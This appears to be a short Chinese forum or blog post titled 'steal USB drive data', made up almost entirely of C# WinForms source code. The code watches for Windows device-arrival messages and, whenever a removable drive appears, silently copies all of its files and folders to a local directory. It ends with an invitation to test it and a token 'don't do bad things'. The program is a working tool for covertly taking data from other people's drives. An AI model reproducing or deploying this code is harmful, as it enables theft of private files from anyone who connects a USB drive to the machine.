窃取U盘资料 代码清单: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; namespace Test { public partial class Form1 : Form { public Form1() { InitializeComponent(); } protected override void WndProc(ref Message m) { base.WndProc(ref m); if(m.Msg == 537)//0X219 设备异动 { switch(m.WParam.ToInt32()) { case 0x8000: //新设备到达 DriveInfo[] s = DriveInfo.GetDrives(); for (int nI = 0; nI < s.Length; nI++ ) { if (s[nI].IsReady) if (s[nI].DriveType == DriveType.Removable) { MoveFile(s[nI].Name,@"e:/move/"); } } break; default: break; } } } public void MoveFile(string u_path,string tag_path) { DirectoryInfo d = new DirectoryInfo(u_path); foreach(FileSystemInfo fileInfo in d.GetFileSystemInfos()) { string FullPath = Path.Combine(tag_path,fileInfo.Name); if (fileInfo is FileInfo) { File.Copy(fileInfo.FullName,FullPath); } else { Directory.CreateDirectory(FullPath); MoveFile(fileInfo.FullName, FullPath); } } } } } 把你U盘插机器上测试下,大家可别干坏事。